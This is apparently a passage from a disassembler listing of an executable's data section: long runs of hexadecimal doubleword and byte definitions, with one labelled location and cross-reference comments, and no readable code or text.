		dd 6875C1h, 0E8E34B30h,	86430BBCh, 8820E41Dh, 85B7F80h
		dd 0ECB9974h, 0C96A0E33h, 415F7660h, 1000F89Bh,	6C8198FEh
		dd 78553Eh, 2A7B2E8Dh, 0DB67DE90h, 99A4FC00h, 9F6BE372h
		dd 0C0011E8Bh, 0E1D00F5Ch, 2BAAD4C0h, 11095F28h, 80102732h
		dd 85BD3931h, 0D0315073h, 6B1B04D2h, 88BA190Dh,	0B3126224h
		dd 3C40C3DAh, 0F852985Dh, 0E3210041h, 0E5CE8A3h, 1E002997h
		dd 7971C816h, 997B65h, 6FB6C12h, 0EAE70D54h, 15646101h
		dd 35C527A9h, 1D8DEC40h, 17E814h, 5A4F3C06h, 0FE6E5B21h
		dd 95BF5F03h, 0C888A0F5h, 80206Bh, 94FE586h, 37F65CBBh
		dd 0BC3DB100h, 0C02D0D10h, 0EDDA01C4h, 0D1CC239Ch, 7EF8DB1Fh
		dd 0FDF25260h, 626C2890h, 52E78F8h, 6581A119h, 31A4403Bh
		dd 0D6887476h, 34F36A00h, 5DABC9A5h, 0AE700399h, 50B2D40Ah
		dd 0C21A1698h, 7B8FCA00h, 0FCA05D90h, 2983002Ch, 0B4728252h
		dd 4626566Eh, 0C70E5D22h, 7D5DEBAEh, 703EF87h, 481F5081h
		dd 0B20040A5h, 16720E3Eh, 6EB135h, 0C343A215h, 3D80CB32h
		dd 9B8AD0Fh, 903E01D9h,	43D2FB28h, 959AC1C4h, 0A2E0EFEFh
		dd 3E66DB4h, 6C011DC3h,	0EEB0681Ch, 42605E3Bh, 31DDC0F1h
		dd 0C6620112h, 598DB7A8h, 0B1ACC065h, 0E3001EEAh, 0B53F105h
		dd 0CC5FFDh, 8C78FF5h, 268D8658h, 0F1243600h, 0B2987A11h
		dd 37B0006Eh, 7C34BB51h, 0E701EAA1h, 994E1A2Ah,	30E8CC98h
		dd 0B310008Dh, 3DEB2B4Ah, 31002CD3h, 0B1422F5Eh, 4F04A8FCh
		dd 0CDDCA021h, 1EACFA2Ch, 0B05C5E0Ch, 0E09D5A58h, 4D00C1B4h
		dd 772A40ECh, 174497h, 0AB72B953h, 0D1AD8618h, 0FC6449h
		dd 0B7B68052h, 92F75F3h, 29A1D569h, 0E942E820h,	506A3D2h
		dd 1C77C5C2h, 0C1880019h, 5FE2D828h, 48C0836Dh,	1CF1D7B8h
		dd 3F5092E1h, 0BB036040h, 62AEAC4Eh, 21AF000h, 0CE8F73E4h
		dd 38CB00DBh, 0FC4BEAE9h, 4300054Dh, 499A5D45h,	29F4A6h
		dd 0FA966EAEh, 0C9857E1Ah, 5B1DD600h, 0B0379EF6h, 8FE00E3h
		dd 9F793CA4h, 1E007136h, 9D9A7BAAh, 1D01E81Bh, 80138F06h
		dd 0DF9BC6CAh, 90E8BEF0h, 8027B43Ah, 6A33184Ah,	7DC4D4h
		dd 16C98380h, 0B850E0F7h, 0D1C7680Dh, 8661B095h, 109C8C8h
		dd 546C8EC1h, 0EC77C49Ch, 401CA2EEh, 2740EBADh,	0D5DE8DE6h
		dd 0E0E500FCh, 6BF0BCA0h, 9600927Ch, 0FB7EF9DBh, 0ADAFFEFh
		dd 1EB82E0Bh, 73004990h, 3339A293h, 47958700h, 0B109170Eh
		dd 0A4C0726h, 12DFA6h, 25996B96h, 340CEC00h, 14F7D88Dh
		dd 64EE0724h, 0B3DE048Ah, 0ACC07D6Ch, 1B003559h, 7218D77Fh
		dd 0B7FD3Dh, 3E9EED8Fh,	0CCEAAD95h, 0FAE91601h,	0F30CF662h
		dd 3AE3AC4h, 35277CD1h,	0EF80FEF2h, 0E8127E48h,	8800576Fh
		dd 643C96D6h, 4A9F005Bh, 0CE05F203h, 67006308h,	0ECE7EB4Eh
		dd 5D1DCFh, 47F07314h, 0C90698AFh, 99173402h, 64E18E3Dh
		dd 5FD40434h, 846DD3E9h, 923090A7h, 6892E42Ch, 42A39E00h
		dd 442B9981h, 0EAE81FADh, 43980F5Dh, 38E7160Ah,	41E0F280h
		dd 0F1CC4845h, 71F751Eh, 81F4D400h, 5D51CDh, 2F49559Eh
		dd 5E9C856Dh, 0AD2510C7h, 50584CCFh, 16430093h,	81637B03h
		dd 4F482204h, 4A0D0064h, 105077B9h, 78DB004Bh, 0F1A051B4h
		dd 0EC609622h, 90C073A8h, 1DE0F406h, 1CE9DB40h,	6EF8C565h
		dd 0E46C00B4h, 120AFFD8h, 6C08B600h, 5F17AD61h,	0B5F0F5h
		dd 0EBC9BD14h, 0F4D34038h, 0F35E630Ah, 8B0EBBA5h, 82A8C01Eh
		dd 4BA783h, 72B8C708h, 9FB1EACFh, 3C9DDB00h, 2C031C89h
		dd 5F7A0053h, 6CD34A2Dh, 0D1F7B9Ah, 1604E52Eh, 0A9C317D1h
		dd 74DEC041h, 97E407B3h, 4024C1FDh, 55ED086Dh, 851A0E00h
		dd 623D2FB0h, 0A530176h, 491C3A3Bh, 93527063h, 1F4A95Dh
		dd 0CE367C01h, 37105E6Dh, 0CF00476Ah, 443B88A1h, 0DE337Dh
		dd 59902EAAh, 9DC50C34h, 0B7872300h, 24F813D3h,	587B004Ah
		dd 0F5065553h, 160E4809h, 208285A7h, 0FF5E3DC7h, 2D2A0001h
		dd 0E7DFE2CDh, 95008107h, 361CCFAEh, 5FEA7118h,	0B600020h
		dd 0D6A14086h, 0F6B4340Bh, 0EAD0206Dh, 774CE43h, 575F6451h
		dd 0A62350E3h, 0E04CF918h, 417300F6h, 0ACA8017Eh, 0F51001D6h
		dd 0EABB49C7h, 0C87C313Fh, 24008CC8h, 0AD16C286h, 1FE8947h
		dd 0D2A8DFB4h, 7532B207h, 23F0E8F4h, 0B8745Dh, 0A53F18E1h
		dd 303B20A8h, 6151F586h, 0E700C5B3h, 492654ADh,	1F79AF23h
		dd 0C07F3B2Ah, 29B0B40Ah, 5002CEDh, 0DAC5FB48h,	230DCBh
		dd 3DD08316h, 815A17F8h, 10AC3C00h, 73B795DFh, 0F0F6BCh
		dd 84A7BB61h
		dd 6C85874Bh, 831DCD0Bh, 0B5F8202Bh, 602C7FE3h,	9C65117Ch
		dd 0D800EE97h, 6DAABF67h, 58FAA163h, 17F7206h, 75D2EF6Ch
		dd 0FC5B3396h, 7200BC43h, 30905D67h, 1D778754h,	0BE1DFDFFh
		dd 0EC165F82h, 0F540D5A1h, 73043F20h, 988F2B48h, 46DC4CA0h
		dd 528F801Ch, 0B9584A3h, 1A8016B8h, 0EFB6C081h,	99D2035Ch
		dd 0D870206Dh, 14603AFh, 7FC50704h, 0BED4FFB8h,	9D04557Fh
		dd 1E81E139h, 16CE0090h, 6D500FCAh, 1CC0E278h, 3DE88214h
		dd 0FA0064BAh, 0D27C7948h, 74FDEE74h, 0ED7A04FCh, 0D0D03932h
		dd 0B5E7448Ch, 0AAC32A00h, 0B3348673h, 8C2B595Fh, 176B7900h
		dd 98586DFFh, 0B1004977h, 0A48CEEEAh, 263204F7h, 85E11h
		dd 5130D855h, 0CCB03FDEh, 85DBD400h, 4E479B0Ch,	13E7A02Fh
		dd 0D7380BAEh, 0D000A684h, 44403B08h, 994C8972h, 0C6B3005Fh
		dd 0AA278343h, 90CC0032h, 0DDDCB776h, 600D2A1h,	6BC519D3h
		dd 1EA519Ch, 0B720887Ah, 60245A78h, 0E100DDD0h,	0AA98E83h
		dd 1DC6A1D0h, 809513DAh, 0F199BCAEh, 0B603218Ch, 0CBC337E1h
		dd 0CD9C0017h, 0F8765BC7h, 0D503F0AAh, 6F0227EAh, 0F44000ABh
		dd 519420Ah, 4A4B180Ch,	0D71E1805h, 1D23782Ch, 8FAC8C66h
		dd 5FA0F59Dh, 5AB70314h, 0BB6CD01Eh, 569A7100h,	1F383274h
		dd 584B332Bh, 72836608h, 0E9528C00h, 1CD91DEBh,	0E63C2E02h
		dd 6C6E0048h, 0CF42D215h, 0DDD5A03Bh, 0B611004Ch, 48A4D165h
		dd 97D603E9h, 0C3D8342Fh, 83E7393Bh, 93571D41h,	802FDF68h
		dd 4ACB5B10h, 400530CAh, 0C11612C0h, 0E4005FE4h, 4DF346C9h
		dd 0B45DBAh, 0AD37B70Ch, 0DCC4196Dh, 6EB17C1Eh,	3B9300F9h
		dd 77C6CC64h, 34EA002Dh, 9B68C4Ch, 0C20E53EFh, 200FDE85h
		dd 0D7CD1EB1h, 6541392Fh, 9F863800h, 2A2A17Ah, 0DAABC700h
		dd 55A41116h, 408E0236h, 0C309E6AFh, 2A8D96C0h,	55F7401h
		dd 0E748F6ABh, 7F378080h, 0E5FB841Ch, 7D17C400h, 2FC9F7C3h
		dd 7EAB00B0h, 21C6EBE4h, 230094ACh, 71630EAAh, 0A84AB8h
		dd 3FAF8F07h, 904741C1h, 0B934F100h, 0F06AE0B7h, 8E70057Dh
		dd 80988297h, 17A00F00h, 0E7AE5600h, 91A1F249h,	575D0563h
		dd 0C070BE7Fh, 22DD50E9h, 4E90180Bh, 0DE35816Eh, 6AD8B292h
		dd 752B1F60h, 0CFA44279h, 5EC304EEh, 0B18CD7F8h, 9ABDDF1Eh
		dd 1A49E1C0h, 5B630CE2h, 88D8A0B4h, 0FCE31801h,	9FDADE95h
		dd 85115080h, 9E419A32h, 0E951E124h, 0ECD0AA00h, 9D7F8E02h
		dd 5F4A8840h, 0ACC44Ch,	0B9E635D1h, 0F43746h, 6D80FD7Dh
		dd 0FB28D8Eh, 29228B12h, 6BE33600h, 0E42EBAADh,	4BABFh
		dd 9EDB4835h, 7DF1290h,	0E1B88600h, 87F40BB9h, 69893h
		dd 8C6977F7h, 0E36CE225h, 27F1DA03h, 8099E6B0h,	7C677960h
		dd 4B7C0065h, 9D07C655h, 3816F1B6h, 0E23Dh, 0E853F697h
		dd 0E16C0C3Ch, 95192C50h, 80172228h, 8FAF3Ch, 0A2A4620Ch
		dd 5C15A743h, 900C446h,	0ADD77B86h, 8892DB88h, 0D440DC4Ah
		dd 6B14CB03h, 96AF7AD0h, 65970018h, 540F40CFh, 9C0F2490h
		dd 60FD9170h, 0B7AAA17Ch, 2E5F00B4h, 0D667C562h, 0E40522DEh
		dd 940F65DDh, 0C2940Eh,	966330Ch, 1F30711h, 906ECFh, 38FCBC5Dh
		dd 63DDCB0h, 0D5198254h, 400D346Ah, 5B9620Bh, 2BF3633Bh
		dd 0C9B1C1A3h, 72504108h, 7A0A08F1h, 6ABD005Bh,	56AE07F6h
		dd 0D1077804h, 46F8540Bh, 8110A050h, 280C0063h,	0BF6FEBBBh
		dd 40006E5Fh, 9A51E4Ah,	0E4F0388h, 9C22A22Dh, 8E5FD9A0h
		dd 292E8D49h, 8A034058h, 0A1CC47C9h, 50707BC5h,	0BDB0066h
		dd 0C1BB9A26h, 6E28461Ah, 0B71D8EECh, 6A5FF3D8h, 0E3FCCB40h
		dd 38AB6833h, 7004037h,	90813C38h, 0ED3BF1D5h, 40C5D79h
		dd 4666450Fh, 218D5107h, 602D9D4Bh, 60005688h, 65EF16E3h
		dd 16AAF103h, 0ED87A7h,	31518E0Ch, 6300D8DCh, 0F725E9C9h
		dd 1E0F87Ch, 295236E8h,	0D8D31B83h, 0B001F2FDh,	27D728C1h
		dd 15E02CC8h, 0E47097h,	7148CB33h, 2EF97D5Ch, 7807194Fh
		dd 4C72DF22h, 8F74C8B6h, 394E380Ah, 0F9820D00h,	5DE77375h
		dd 810EDCEAh, 405B7C21h, 0C0118B2h, 7A6A7E26h, 71E9E09Bh
		dd 699E0027h, 0E757A8ADh, 0A6010ECEh, 0E431D999h, 0E0D87748h
		dd 0B65938F5h, 0C3D8160h, 0AC251830h, 0F5448290h, 385007h
		dd 78D31711h, 7A33502Bh, 8551AD04h, 0D0A41BF1h,	1CB850B5h
		dd 0B94A040Bh, 80C20C08h, 0BD463D2Fh, 0BF055504h, 8C01651h
		dd 62CB27h, 0D3C1F11Eh,	7F99B558h, 3DA46400h, 0A78730F4h
		dd 50370282h, 32913B8Dh, 2494585Ah, 78E61803h, 9707C63h
		dd 0DF68AE88h, 620B5C64h, 6E945Ah, 0DA915338h, 40E9DEFFh
		dd 81BF4421h, 41CF62B3h, 60B05C0Ah, 74D49Ah, 6FE7A2E2h
		dd 0BDA0DF24h, 0CE30F507h, 2140B264h, 74F9854h,	0A2BA9203h
		dd 0B3F4F0C9h, 13F2EC1Ch, 0ED0434E0h, 10660677h, 75491140h
		dd 2D165793h, 0D8035B09h, 0E1C203h, 53456D68h, 0EA8A5F17h
		dd 5E63CD00h, 194EAF2Dh, 9D3818DFh, 78C929E4h, 0B3D483h
		dd 0FE433CA8h, 0A0F8404Fh, 67B46F6Dh, 0AFF29300h, 8ADFB0CCh
		dd 0C4995C21h, 0F67EDD04h, 3A5CC0C0h, 8318BE70h, 0D71057CCh
		dd 2CAD7E2Bh, 24EA26h, 7997F323h, 50EF53B6h, 0DAA8098Ch
		dd 45047CFAh, 6AD9F927h, 23F54A0h, 48CCD83Dh, 34C0A360h
		dd 4D00AF27h, 255F812Eh, 58216908h, 1C4C97CBh, 7A378400h
		dd 24E35C04h, 0A602B000h, 6E1EA75Eh, 99B60081h,	0CB44FB5Ah
		dd 448FC9Ah, 0D1DA00E4h, 0E8B27168h, 94C00721h,	30312074h
		dd 890C0B86h, 99D19600h, 0FE675381h, 7ACCFACEh,	4EB31E0Dh
		dd 823540E4h, 8905C0F3h, 5731F503h, 0A0FA49C4h,	7837AAABh
		dd 0C742000Fh, 14E8E278h, 17125976h, 9C00F331h,	0C0B34E3Bh
		dd 279B0045h, 461F5138h, 0F10032B4h, 1202B10h, 0E3F2978Ch
		dd 1E7BD6F4h, 405F9AFBh, 0E8FAF663h, 95036128h,	0E384A0E2h
		dd 803DBA80h, 0DFD4CEE4h, 0BD5F173Eh, 806F1D2Dh, 0DAB14FC0h
		dd 0A2039363h, 426F11CEh, 0A430033Bh, 4F70A1DCh, 1ECA7B98h
		dd 8C38AC00h, 73259DAFh, 72EE005Ah, 2D08C396h, 9A0015B2h
		dd 7999B3DBh, 0C91556Ch, 14F9C22Ch, 8A003118h, 1237F6D5h
		dd 46284h, 0A7D0D8A9h, 885C427h, 0F809FD71h, 0EE81FAh
		dd 0ABDD0504h, 0AE4800ECh, 36CFD802h, 631ED599h, 0B54147C0h
		dd 0BED3B30Ch, 335BF8h,	0CDEC68BAh, 0A0691E6Bh,	93228200h
		dd 4CEDDA9Eh, 461B07E5h, 0D01FCCB5h, 71DEC27Fh,	0C1882100h
		dd 9980181Eh, 26440711h, 0E16AA2E7h, 80072D9Fh,	0F9156230h
		dd 1D674191h, 4074A185h, 1E4CE4C9h, 721D64A0h, 834315CCh
		dd 86B492h, 0D9673520h,	0E7B26353h, 436A5513h, 0E9DAFF03h
		dd 0F0919857h, 0BD7607B5h, 10BC8799h, 4C24C3FDh, 80B14201h
		dd 0AE27A878h, 6188E4h,	0B74AD596h, 580AFE82h, 0CE5FD800h
		dd 7B10DEBFh, 0FDF600CFh, 0B883688Fh, 49001CE3h, 32C16E95h
		dd 245A45E9h, 8CF517h, 624CB38Ch, 390081ABh, 6C674D2Fh
		dd 3D5E4472h, 388074DBh, 3BA860D2h, 4100FBDDh, 1C482406h
		dd 54EDCh, 80AC4AC5h, 0EA379AE6h, 0EC6D6E00h, 860DDE57h
		dd 0DB58004Dh, 0D1B9764Eh, 29B8726Fh, 0A203D578h, 59461697h
		dd 0AF90D03Bh, 454B3094h, 0BE8B7010h, 76000798h, 0BD0B3641h
		dd 0A4E4E3h, 19AC25A3h,	0F215C18Ch, 3B924600h, 0AF1C7D54h
		dd 0C2F30024h, 0DB87014Ah, 0F1000FBEh, 39EB2665h, 0F8281Dh
		dd 0A5BBAE97h
		dd 31C6DE5Fh, 0AFCBA712h, 72178F00h
		db 75h
byte_530055	db 5Dh,	9Ah, 3Ch	; DATA XREF: ___:off_437DC4o
					; ___:off_437DDCo
		dd 933EFEF4h, 2B7A7100h, 1F7677AEh, 0CE795800h,	0F144B6B8h
		dd 0E00500C7h, 0B4130A9Dh, 0A000879Bh, 7A0F0721h, 491B91h
		dd 81B9B316h, 0ECF92B60h, 0D8ED2200h, 0A10E9990h, 0BF9B00D1h
		dd 0FDB3834Ch, 285EE4DDh, 9CFCB0h, 1495EF1Eh, 0F5F9390Ch
		dd 1F29E607h, 0A510F097h, 0C3ACDDFBh, 12CB3AB1h, 0D944C1F8h
		dd 0BA315000h, 78649456h, 778D7E85h, 0D6230068h, 4BB9C604h
		dd 2D00BF65h, 0E4EAC51Eh, 48555491h, 99005060h,	0B8738C4Ch
		dd 0F11D6D98h, 4AC0075Fh, 727CA503h, 0EA3F004Fh, 0D7CBEFB5h
		dd 9D3D1DE6h, 616780ECh, 0C5F37B63h, 0CA8F01ADh, 96DE8381h
		dd 0BC92C01Eh, 9F57E71Fh, 6B000024h, 15060A90h,	22730068h
		dd 0E50B6E49h, 424CD865h, 0B62B03A7h, 983B5185h, 4CA16321h
		dd 0B1001402h, 0A275036Dh, 0C4481A36h, 0C5037198h, 0AF921D12h
		dd 6415D0C6h, 0C76483Bh, 91FB0375h, 29B332FDh, 3C8F7A8h
		dd 0DEC93801h, 0AF66DCB0h, 0C0790DF0h, 0D90491D0h, 13FAB9CCh
		dd 3C094000h, 8D88B49Bh, 0DE7027h, 263A495h, 0C19E2F9Ah
		dd 0C072C400h, 447ADBC7h, 31F4FDEBh, 0FEE21293h, 0F04400EEh
		dd 0DA339BCEh, 2DD0EF03h, 0E1456B57h, 5F30F21Bh, 5827009Fh
		dd 0CEF4664Dh, 4724E513h, 0A800D440h, 16E939C5h, 6CF80343h
		dd 0DB662EABh, 0D65FB1D0h, 90F6C414h, 6D550080h, 7DA9A357h
		dd 9D08187Fh, 1B7318B8h, 0C7197778h, 0FB10F3FFh, 601A2C00h
		dd 206DEB30h, 0C09C1985h, 0EF1DC230h, 84E373E9h, 577DD918h
		dd 6FA04A0Eh, 0CF0B9DD1h, 48B7DE06h, 3506C1Dh, 5A377240h
		dd 0F015C504h, 3CCBEE9h, 0C749371h, 3F68026Ch, 0C5D63272h
		dd 525B5C81h, 0D5619854h, 3EEE6458h, 9D01BB3Ch,	0BD0D0AC9h
		dd 920E7E3Bh, 7F65A0EBh, 0E7CBCCh, 4E59FA32h, 6AAA766Ch
		dd 0F9DFF000h, 645AC1CEh, 0F1730029h, 4D32BBA9h, 9D02074Ch
		dd 0C3B9A396h, 21A040AEh, 1DF700E8h, 0D0AC1309h, 4D1E3D48h
		dd 9DDDC4CCh, 0C0843F8Eh, 9895477Ah, 733200CAh,	938CBFAh
		dd 7700DEE9h, 8A969B17h, 4D427EDBh, 500084F2h, 2BDF7926h
		dd 1C2A0807h, 9008CD0h,	489A8BB4h, 0ABD55EBh, 0A976FBF0h
		dd 78C200CCh, 88F518DAh, 5D0529FCh, 8B206EE8h, 8948481h
		dd 76811880h, 0F33D70B7h, 0E03C31F9h, 2878B9D8h, 8583CB00h
		dd 69A0429Bh, 6FC0A8AAh, 71F4031Ch, 959D97AEh, 0F8B284A8h
		dd 730CBD78h, 28A076A9h, 0F0C0F6Dh, 0C49CBAD5h,	9047FF8Eh
		dd 81F74D08h, 0A16ED590h, 9CDA8068h, 1558A10h, 2ACA4BEBh
		dd 0E0898F98h, 8DF2DB6Fh, 0F0F7692Ah, 9E1C301Ch, 8447030h
		dd 526731D1h, 0ACC72858h, 9D00C871h, 0D9EB4C20h, 120B785Bh
		dd 4B8142h, 0CC734750h,	0DA2430D3h, 8782302Dh, 8FA93906h
		dd 0D43C4448h, 0EDFC2220h, 308598A0h, 6C861324h, 0E8E7C88Ch
		dd 101BEB1Bh, 0B0E1A939h, 13C04194h, 0C9482093h, 0DED8DA15h
		dd 0AF6E0CCCh, 0FCC21851h, 0A8DD4842h, 0EE79AA87h, 0E44722E0h
		dd 1772CABEh, 21C048E8h, 8DAF61DCh, 59AB0396h, 0D45A1473h
		dd 8909A028h, 31841050h, 0E07A1C19h, 80F6C418h,	0A6066E84h
		dd 0A09169h, 64141190h,	0E10C1F0Eh, 82A739Ch, 1721CE85h
		dd 2B401420h, 22EAC80Fh, 0C007A030h, 0D1D870E3h, 0C21DDCF9h
		dd 643994B4h, 0BBAF4280h, 0CA436F22h, 0F31E10h,	6BAF4AD7h
		dd 0EABD74h, 4D895E86h,	0B69D6021h, 0F19CB20h, 0F0E6CA50h
		dd 708DC066h, 0BC4907F6h, 0C50A0F20h, 0F2FC06A1h, 0FD870F98h
		dd 8EC0E76Ah, 5602DDB9h, 3FCA20F3h, 8666C100h, 0F79D27CBh
		dd 9ECA07BBh, 402E3DAEh, 0C25C3919h, 23164300h,	39F14FDh
		dd 7D1A0006h, 0FFAE9C51h, 1F14B2BEh, 11143039h,	2F1115E9h
		dd 0BE13086Ch, 0C6E504B1h, 3B55042Eh, 52887B42h, 2197C702h
		dd 22FF8B0h, 118123A1h,	0EB3705C8h, 0FD1A2500h,	61B09097h
		dd 0A50D3BECh, 450094D8h, 0BE41B94Ch, 23959F5h,	0A05480C8h
		dd 1FD10F4Dh, 86EEF7h, 7CA9F2B7h, 0FBD580C0h, 1DF4FA07h
		dd 57E1A2A0h, 0B4401E3Dh, 760BCBFh, 0FDE4BA67h,	402797F0h
		dd 0DE7CFF6Fh, 55963F00h, 0F5B8B0BBh, 26FA2Ch, 0C47AAA84h
		dd 0A75F4860h, 69190460h, 94931Ah, 3B089B62h, 4E461249h
		dd 0EDBE800h, 0C44FC7A2h, 0E1671C40h, 0B9390028h, 1C04AC16h
		dd 22FF9400h, 0D318F546h, 0AA50C08Ah, 0EDB97251h, 2C417000h
		dd 11CBD212h, 0CE173C5Bh, 3C13EF9Fh, 0DA6F8980h, 1A28D67h
		dd 8E004CEEh, 0FB6ED505h, 0DE69E2C6h, 0F1598010h, 2DAA574Bh
		dd 7400A979h, 4522416Ah, 14AED61h, 4218944Fh, 0F85B3DE6h
		dd 0FB017E1Eh, 0DAAA3111h, 0C0EA052Ch, 0F4DE08h, 0BADCAB01h
		dd 8E6D603Ah, 391C0700h, 0A554D959h, 776B00E7h,	0FDA99B44h
		dd 7F006A5Fh, 0DF379F16h, 14C34AAh, 0B07107FBh,	70E1DE8Ch
		dd 6A0047F8h, 5B53961Dh, 0D13AAEh, 0C88EB070h, 743EB227h
		dd 0C09DA900h, 2FCBB4A0h, 351D0047h, 0A4C104F4h, 9B00A82Ah
		dd 0C369239Fh, 0FC78034Fh, 2F220F91h, 0C03F385Bh, 0D8190CD0h
		dd 0E8079ADDh, 28CBC67Dh, 6F5D7BB0h, 0AFDA002Eh, 3F8560A4h
		dd 107FB732h, 6B008390h, 44EDF811h, 2CC775Ch, 0EAB43450h
		dd 8C804B8Ah, 976B16A7h, 63583300h, 50440C8Dh, 479A0083h
		dd 7D3CF5E5h, 803DF35Ch, 31340035h, 0FF88C429h,	3A7F00B9h
		dd 67A954CCh, 8300D45Eh, 4CBE1C5Ch, 1D9C2B8Bh, 0E82D91E2h
		dd 4A7F00D4h, 0BA8A460Ch, 0EE00C1C4h, 5F2E1390h, 0C8C9F0h
		dd 3C214B69h, 0CEFF0444h, 57235300h, 0C0C41F14h, 50B400AAh
		dd 6E49195Eh, 2F3A40F0h, 39471DACh, 922536C0h, 1C85893Dh
		dd 0E1D929h, 0CC08F31Bh, 681D9ECDh, 67CE8D90h, 63C90089h
		dd 0CE737Dh, 5E486237h,	8DEB2F1Ah, 0D6E2E000h, 3F9956Eh
		dd 98C11DC5h, 0B06282CCh, 9880B509h, 5AD2ADF1h,	8058073Dh
		dd 9FEF20C5h, 2883A6Ah,	2180C4BEh, 2D402246h, 0B000A9C2h
		dd 0F302CBF9h, 0F62BE904h, 3E4B3D25h, 98129Fh, 269981E5h
		dd 0EC25B50Dh, 0C617E06Eh, 498C01CDh, 1DD04D54h, 0D04FFD2Fh
		dd 707E9D5h, 0D899060Dh, 0C66430D0h, 0CF490F8Eh, 0BE409AB7h
		dd 71DD83FFh, 0FA133F00h, 2D5785DBh, 71A49030h,	83230054h
		dd 672FC493h, 0E8A011C7h, 101C7619h, 0BF2B2Ch, 8998A0BAh
		dd 0E7F1856h, 43357DBEh, 0BCD83BECh, 9407C1FAh,	2A13FF4Ch
		dd 45F138B0h, 17EA00A7h, 0FB3A2CB1h, 0D5131637h, 0B000FC4Bh
		dd 4889D0CBh, 0A38CC03Ch, 1BAFEAC6h, 85443E00h,	5E344547h
		dd 0F69600A9h, 80A58BC0h, 2015E068h, 7A48D75h, 0DC24CC87h
		dd 0A58C0049h, 98B34Bh,	0A3FC4C80h, 96D642ACh, 6ACE48h
		dd 0D9E93FC9h, 0C025E7A9h, 0A9FAD30h, 5300E098h, 5036961Eh
		dd 98D34B27h, 65B77E96h, 6328B4h, 0F6DED6E8h, 61006B9Ch
		dd 1EC803A8h, 7314BA7h,	99884358h, 0FF08A0B5h, 290E0745h
		dd 6FBA1BACh, 0FEECE0C9h, 136E77F0h, 3019398h, 0B6D64D94h
		dd 22E91800h, 10E63C23h, 0B559019Fh, 0DF5F3F75h, 8EE3F4A6h
		dd 0AC0B6AD3h, 39AB80A8h, 3AA17E01h, 0B280B425h, 0DFE18A06h
		dd 93189614h, 0B710188Eh, 3AB40052h, 916AE7EBh,	3F00FBB9h
		dd 0D44631D3h, 31DBF8Fh, 67DDE36Eh, 0ABC0956Ah,	8900810Bh
		dd 92D70C43h, 1877EC7Dh, 89593385h, 0BF00D9D2h,	0C7AF38B4h
		dd 4AF3B8h, 0B6887344h,	15E33EEDh, 35541F00h, 21E103C2h
		dd 4F900Ah, 374FEC2Ah, 68C9AFA3h, 6569F900h, 55546B38h
		dd 456F0FE0h, 0FDE05B1Dh
		dd 0C5C22C11h, 0B24C7600h, 0C8D328FBh, 63A800D2h, 1F7B7CCEh
		dd 9B48BF37h, 67650089h, 0E6DB0D22h, 0B1DA008Bh, 3EF814EDh
		dd 84A0F642h, 410024ACh, 0A5C29369h, 2E3F2162h,	0CF9198Eh
		dd 84D80B5Fh, 66BBA200h, 0EACD91DAh, 23EF0099h,	0EBDE9D34h
		dd 0B7008893h, 0E66042E5h, 4CB18EE1h, 913B5E6Ah, 0AEB87980h
		dd 161FF306h, 8E7E5200h, 9434E04Bh, 492F0096h, 2630F13Ch
		dd 64005F77h, 4A1B2D13h, 0A022F67Ah, 0C07DD8B0h, 599D9189h
		dd 0F00080B0h, 0BE6C55C1h, 3F113F05h, 74854BE8h, 8F5D7Dh
		dd 15873997h, 0B82843E3h, 0F16F096h, 9D008365h,	0A44EAD1Fh
		dd 7E5C008Fh, 3E01E63Ah, 0EF000431h, 20F3249Bh,	1FBBF82Fh
		dd 3DCBC46Fh, 59312100h, 83D7578Eh, 35628800h, 0BC6DFA1h
		dd 9B9D3FC7h, 956700F2h, 0CC4614A2h, 791E5277h,	724062B5h
		dd 4BFC8069h, 53AD48C4h, 6F2E4400h, 831DB0A3h, 0A5C6F100h
		dd 0EADD3B45h, 90540006h, 47EE91C3h, 8903BBA1h,	27F8F5FFh
		dd 7F11D080h, 7D330020h, 5332B222h, 18605E92h, 2639E3F8h
		dd 64DF2421h, 98A80708h, 19F4E074h, 0FF008180h,	0C5DE82C4h
		dd 7694F236h, 0F3A075Eh, 106BDA4Eh, 0F6B42BC9h,	0D24400Eh
		dd 81AA40ADh, 76808A8h,	0C1055645h, 0E9D87043h,	0A50ED03Eh
		dd 0C90A12B7h, 0FD7C00BAh, 63C672h, 0E189FFF6h,	974DA406h
		dd 8F5E9A00h, 519484FAh, 412F0021h, 8E5D99Dh, 9101E6F4h
		dd 6FA4D176h, 54208A1Ch, 4083009Eh, 14B9ACCDh, 490066FDh
		dd 12C561A3h, 36460Eh, 0CA4045CEh, 0A118D15Ch, 65D34E06h
		dd 12409080h, 7C366B9h,	0C17F1DE0h, 0C150AA5Bh,	8D34C4E6h
		dd 3E99F200h, 0A001CD8Fh, 56AD00C9h, 391AE8CFh,	2001FEAFh
		dd 0A81749B9h, 3CE896AAh, 0CE2803B6h, 7AE7472Ah, 646372F0h
		dd 40AC500h, 653E27C9h,	688076Bh, 6A8440BDh, 549400C8h
		dd 0AF3CE5Eh, 8059083Fh, 0F270A21Ah, 99B43F93h,	11C30814h
		dd 0D5734E00h, 0C06C3260h, 37EB9640h, 254C7B67h, 8EA40088h
		dd 877BBBFh, 0D80F0FB7h, 5C9DE9Eh, 5751E803h, 0CDD76698h
		dd 80D9383Bh, 7310CCA5h, 25A6EEh, 566B8EBCh, 0D093B8C2h
		dd 6A07F4EFh, 67014Ch, 3297A5B6h, 79F12Dh, 0C8371691h
		dd 6ED20FC5h, 789EEC0Ah, 0D900F51Fh, 7970A5B9h,	9ED0468h
		dd 0C1C2F127h, 30886D00h, 840787C8h, 8F6A19DBh,	6143A4BFh
		dd 0D10907h, 2712F83Ah,	592E691Fh, 2889FAC0h, 73CB44F0h
		dd 67DC00C2h, 0F3BFC9FEh, 0E40322D0h, 0AF66465h, 9BEC00Ch
		dd 92A80012h, 197830E8h, 0A2FE3B2Eh, 201A60Eh, 448F0013h
		dd 7150F5h, 3111E2Dh, 0AF4AB2BAh, 0CEBDC500h, 3D38CBC2h
		dd 0B9E000ADh, 0A59355BBh, 49061B43h, 4A78A79Ch, 0FE7FE40h
		dd 6A5C326Eh, 0E33589FCh, 0E864F8A6h, 8A009B7Bh, 29F5D0B0h
		dd 0D276D4h, 5F78CB24h,	56B1BAD8h, 0D7D93Ch, 72F5D127h
		dd 8DC4CAh, 0B0A02865h,	8AF6AC6h, 64C85500h, 0EB0CD46Fh
		dd 686738DBh, 9779F8Eh,	0E8F8032Ch, 0B0C4E900h,	0FFBB6DCh
		dd 0F7CD005Ah, 0AC33062Ch, 0E3005004h, 0F2F86E1Bh, 393065B8h
		dd 0FF804771h, 568BB93h, 5F04BA4Ah, 0AD8C7AA4h,	0D8F2CCC0h
